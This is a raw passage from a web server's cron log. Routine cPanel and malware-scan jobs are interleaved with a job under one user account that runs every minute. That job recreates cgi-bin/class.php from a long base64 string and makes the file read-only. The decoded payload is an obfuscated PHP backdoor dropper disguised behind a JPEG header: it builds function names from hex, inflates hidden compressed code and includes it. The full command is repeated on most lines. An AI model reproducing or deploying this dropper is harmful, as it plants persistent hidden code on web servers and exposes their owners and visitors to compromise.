"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 06:33:01 server CROND[30354]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 06:34:01 server CROND[30419]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 06:35:01 server CROND[30583]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 06:35:01 server CROND[30584]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 11 06:35:01 server CROND[30585]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 06:35:01 server CROND[30586]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 06:35:01 server CROND[30587]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr 11 06:36:01 server CROND[30702]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 06:37:01 server CROND[30777]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 06:38:01 server CROND[30828]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 06:39:01 server CROND[30885]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 06:39:01 server CROND[30886]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 11 06:40:01 server CROND[30949]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 06:40:01 server CROND[30950]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 06:40:01 server CROND[30951]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 06:40:01 server CROND[30954]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 06:41:01 server CROND[31156]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 06:42:01 server CROND[31213]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 06:42:01 server CROND[31214]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 11 06:43:01 server CROND[31275]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 06:44:01 server CROND[31323]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 06:45:01 server CROND[31381]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 06:45:01 server CROND[31382]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 06:45:01 server CROND[31383]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGV